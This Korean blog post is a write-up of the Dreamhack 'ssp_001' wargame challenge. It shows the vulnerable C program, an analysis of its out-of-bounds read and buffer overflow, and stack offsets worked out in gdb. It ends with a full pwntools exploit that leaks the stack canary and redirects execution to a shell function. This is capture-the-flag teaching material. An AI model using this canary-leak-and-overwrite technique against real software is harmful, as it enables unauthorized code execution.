dreamhack ssp_001 풀이

동글래차·2023년 6월 16일
0

pwnable

목록 보기
8/9

1. ssp_001 전체 code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

2. code 취약점 분석

2.1. case 'P' 분석

// print_box 함수
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
  • 파라미터: *box: box buffer의 시작 주소, idx: 출력할 index 위치
// select = 'P' 일때
case 'P':
 printf("Element index : ");
 scanf("%d", &idx);
 print_box(box, idx);
 break;
//main case 부분
  • 루틴을 보면 idx의 범위를 정해주지 않아서 box 버퍼를 넘어 값을 읽어 올수 있음

2.2. case 'E' 분석

char name[0x40] = {};

case 'E':
 printf("Name Size : ");
 scanf("%d", &name_len);
 printf("Name : ");
 read(0, name, name_len);
 return 0;
default:
 break;
  • name 버퍼는 0x40
  • read() 함수에 보면 읽어올 버퍼의 사이즈를 정해주고 있음
  • name_len에 0x40보다 큰 값을 넣어주면 오버플로우 가능

3. exploit 시나리오 및 reversing

3.1. 시나리오

  • case 'P'에서 canary 위치를 구하여 canary를 1byte씩 여러번 읽어와 준다.
  • 그 다음 name버퍼를 overflow 시켜 실행 흐름을 get_shell()로 옮겨준다.

3.2. reversing

3.2.1. cannary 위치 구하기

  • <main+19>, <main+25>를 보면 gs:0x14에서 canary 값을 읽어와 [ebp-0x8]에 넣는 것을 확인 할 수 있다.
  • canary = [ebp-0x8]

3.2.2. box 위치 구하기

  • print하기 전에 push하는 0x804896c 확인

  • case 'F' 루틴 확인
  • <main+178>에 보면 [ebp-0x88]을 push하고 read 함수를 호출한다.
  • box = [ebp-0x88]
  • box <=> canary = 0x80

3.2.3. name 위치 구하기

  • box와 마찬가지로 print 전 0x804899a 확인

  • read 함수 전에 push하는 버퍼 [ebp-0x48]
  • name = [ebp-0x48]

3.2.4. return address와 name 버퍼 사이 구하기


  • d50c - d4c0 = 4c(76)
  • name: 0x40, canary: 0x4, sfp: 0x4 = 0x48(72)
  • name부터 return address까지 거리가 4c인데 name, canary, sfp 다 더 했을때와 값이 다르다. dummy값이 끼어있다.

  • 0xffffd500: canary
  • 0xffffd504: sfp
  • 0xffffd508: dummy
  • 0xffffd50c: ret
  • sfp 뒤에 dummy값 확인


4. exploit code

from pwn import *
def slog(name, addr):
  return success(": ".join([name, hex(addr)]))

# p = remote('host', port)
p = process('./ssp_001')
canary = b''
get_shell = 0x080486b9

# canary leak
for idx in range(132, 127, -1):			# box[132] -> box[128]까지
  p.sendlineafter('> ', b'P')
  p.sendlineafter('index : ', str(idx))
  p.recvuntil('is : ')
  canary += p.recvn(2)

canary = int(canary, 16)
slog("canary: ", canary)

# name + canary + sfp + dummy + get_shell()
payload = b'A' * 0x40
payload += p32(canary)
payload += b'B' * 0x8
payload += p32(get_shell)
print(payload)

### name buffer overflow
p.sendlineafter('> ', 'E')
p.sendlineafter('Size : ', str(1000))
p.sendafter('Name : ', payload)

p.interactive()

성공!

profile
동글동글

0개의 댓글